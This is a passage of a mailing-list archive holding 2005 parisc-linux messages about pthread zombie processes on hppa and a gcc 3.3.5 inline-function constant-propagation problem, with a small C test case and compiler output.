Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 20:42:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 03 Apr 2005 22:42:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2D167D664;
	Sun,  3 Apr 2005 14:43:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10224-04; Sun, 3 Apr 2005 14:43:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FEE57D66D;
	Sun,  3 Apr 2005 14:43:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4292F7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 14:43:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10113-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 14:43:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B71277D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 14:43:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j33KfqhF018466; Sun, 3 Apr 2005 16:41:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j33KfpVf018465;
	Sun, 3 Apr 2005 16:41:51 -0400 (EDT)
In-Reply-To: <20050403143246.GE8921@tausq.org> from "Randolph Chung" at Apr 3,
	2005 07:32:46 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fTAiYrJVeSE5+76WZHQhaXN2IGRvb4AB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22551

> The test program is in cvs in the userspace repository. It's called
> thread_test2.c. It creates threads one at a time, and uses condition
> variables for synchronization. On hppa the program will hang after some
> time, and ps shows a lot of zombie processes. On x86 the program runs as
> expected and there are no zombies.

What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
Are these signals 37, 38 and 39?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sun, 3 Apr 2005 16:24:33 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200504032024.j33KOXcu018402@hiauly1.hia.nrc.ca>
References: <20050403143246.GE8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623733 13630 80.91.229.3 (22 Nov 2014 02:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 20:24:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 03 Apr 2005 22:24:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59B0A7D662;
	Sun,  3 Apr 2005 14:26:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09694-10; Sun, 3 Apr 2005 14:26:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAC9F7D663;
	Sun,  3 Apr 2005 14:26:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA9B67D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 14:26:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09703-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 14:26:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3A0A47D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 14:26:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j33KOXhF018403; Sun, 3 Apr 2005 16:24:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j33KOXcu018402;
	Sun, 3 Apr 2005 16:24:33 -0400 (EDT)
In-Reply-To: <20050403143246.GE8921@tausq.org> from "Randolph Chung" at Apr 3,
	2005 07:32:46 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WzQiYv1xeSE5+76WZHQhaXN2IGRvb8AB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22552

> The test program is in cvs in the userspace repository. It's called
> thread_test2.c. It creates threads one at a time, and uses condition
> variables for synchronization. On hppa the program will hang after some
> time, and ps shows a lot of zombie processes. On x86 the program runs as
> expected and there are no zombies.

I see threadfunc uses waitpid.  This is the same syscall that seems
to cause problems with expect (zombie expect child and parent waiting
for signal that never comes).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (3.3.5) causing problems in our latest kernel.
Date: Sun, 3 Apr 2005 23:13:32 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20050403221332.GC18349@parcelfarce.linux.theplanet.co.uk>
References: <1112564457.5858.7.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623733 13631 80.91.229.3 (22 Nov 2014 02:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:33 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 22:13:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 04 Apr 2005 00:13:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C0B77D660;
	Sun,  3 Apr 2005 16:15:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10623-08; Sun, 3 Apr 2005 16:15:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A0CD7D662;
	Sun,  3 Apr 2005 16:15:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C56F7D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 16:15:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10541-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 16:15:21 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 619167D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 16:15:21 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DIDLZ-0004lK-2P; Sun, 03 Apr 2005 23:13:33 +0100
Content-Disposition: inline
In-Reply-To: <1112564457.5858.7.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8w8iYrtoeSE5+76WZHQhaXN2IGRvb4C7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22553

On Sun, Apr 03, 2005 at 04:40:57PM -0500, James Bottomley wrote:
> The problem is that the macros depend on clever optimisation using
> sizeof(*ptr) as an argument to an inline function.  The following
> program illustrates the issue:

Perhaps there's a difference between an inline function and a macro
in terms of constant propagation?  If you turn __test_width() into
a macro, it should work (see the implementation of __get_user() in
asm-parisc/uaccess.h)

> extern void bad_function(void);
> 
> static inline void __test_width(char *var, int size) {
> 	switch (size) {	
> 	case 1:
> 	case 2:
> 	case 4:
> 	case 8:
> 		*var++ = 0;
> 		break;
> 	default:
> 		bad_function();
> 	}
> }
> 
> #define test_width(x)	__test_width((char *)(x), sizeof(x))
> 
> main(int argc, char *argv) {
> 	int test;
> 
> 	test_width(&test);
> }
> 
> If I compile this on an ia64 box, everything is fine:
> 
> jejb@titanic> gcc -O2 test.c
> jejb@titanic> gcc -v
> Reading specs from /usr/lib/gcc-lib/ia64-linux/3.3.5/specs
> Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --with-system-libunwind --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc ia64-linux
> Thread model: posix
> gcc version 3.3.5 (Debian 1:3.3.5-8)
> 
> But on a parisc system it fails:
> 
> jejb@raven> gcc -O2 test.c
> /tmp/cccwaI1E.o(.text+0x60): In function `main':
> : undefined reference to `bad_function'
> collect2: ld returned 1 exit status
> jejb@raven> gcc -v
> Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.5/specs
> Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc hppa-linux
> Thread model: posix
> gcc version 3.3.5 (Debian 1:3.3.5-5)
> 
> Before I have to tell Dave Miller that his clever trick won't work for
> us, is there a way of fixing it?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (3.3.5) causing problems in our latest kernel.
Date: Sun, 3 Apr 2005 19:43:52 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200504032343.j33NhqX2019108@hiauly1.hia.nrc.ca>
References: <1112564457.5858.7.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623734 13632 80.91.229.3 (22 Nov 2014 02:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 23:44:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 04 Apr 2005 01:44:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04A9F7D664;
	Sun,  3 Apr 2005 17:45:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10994-05; Sun, 3 Apr 2005 17:45:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72CD07D668;
	Sun,  3 Apr 2005 17:45:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 371997D663
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 17:45:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10972-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 17:45:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AB4037D662
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 17:45:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j33NhrhF019109; Sun, 3 Apr 2005 19:43:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j33NhqX2019108;
	Sun, 3 Apr 2005 19:43:52 -0400 (EDT)
In-Reply-To: <1112564457.5858.7.camel@mulgrave> from "James Bottomley" at Apr
	3, 2005 04:40:57 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hxoiYkIseSE5+76WZHQhaXN2IGRvb0Cg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22554

> The problem is that the macros depend on clever optimisation using
> sizeof(*ptr) as an argument to an inline function.  The following
> program illustrates the issue:
> 
> extern void bad_function(void);
> 
> static inline void __test_width(char *var, int size) {
> 	switch (size) {	
> 	case 1:
> 	case 2:
> 	case 4:
> 	case 8:
> 		*var++ = 0;
> 		break;
> 	default:
> 		bad_function();
> 	}
> }

I think the optimization of switch statements is far from optimal.
I suspect that the optimization of if statements is better.  A similar
issue causes warning from __put_user in a 32-bit build.  Probably,
this should be a GCC PR.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (3.3.5) causing problems in our latest kernel.
Date: Sun, 03 Apr 2005 18:56:28 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1112572589.5860.3.camel@mulgrave>
References: <1112564457.5858.7.camel@mulgrave>
	<20050403221332.GC18349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623734 13636 80.91.229.3 (22 Nov 2014 02:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:34 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2005 23:56:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 04 Apr 2005 01:56:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B40C87D668;
	Sun,  3 Apr 2005 17:58:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11403-04; Sun, 3 Apr 2005 17:58:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5C897D675;
	Sun,  3 Apr 2005 17:58:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74B877D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 17:58:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10994-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Apr 2005 17:58:25 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id BC3DD7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Apr 2005 17:58:24 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j33NuUA07836; Sun, 3 Apr 2005 19:56:30 -0400
In-Reply-To: <20050403221332.GC18349@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Evolution 2.0.4 (2.0.4-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6uciYo8/eSE5+76WZHQhaXN2IGRvb8C/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22555

On Sun, 2005-04-03 at 23:13 +0100, Matthew Wilcox wrote:
> Perhaps there's a difference between an inline function and a macro
> in terms of constant propagation?  If you turn __test_width() into
> a macro, it should work (see the implementation of __get_user() in
> asm-parisc/uaccess.h)

Yes, if I change it to a pure #define, everything works OK.

However, unless we can get the inline function to work, I still have to
go back to davem ... Do I just tell him we can't fix our toolchain, so
how about this?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (3.3.5) causing problems in our latest kernel.
Date: Mon, 4 Apr 2005 01:07:23 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20050404000723.GD18349@parcelfarce.linux.theplanet.co.uk>
References: <1112564457.5858.7.camel@mulgrave>
	<20050403221332.GC18349@parcelfarce.linux.theplanet.co.uk>
	<1112572589.5860.3.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623734 13640 80.91.229.3 (22 Nov 2014 02:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:34 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
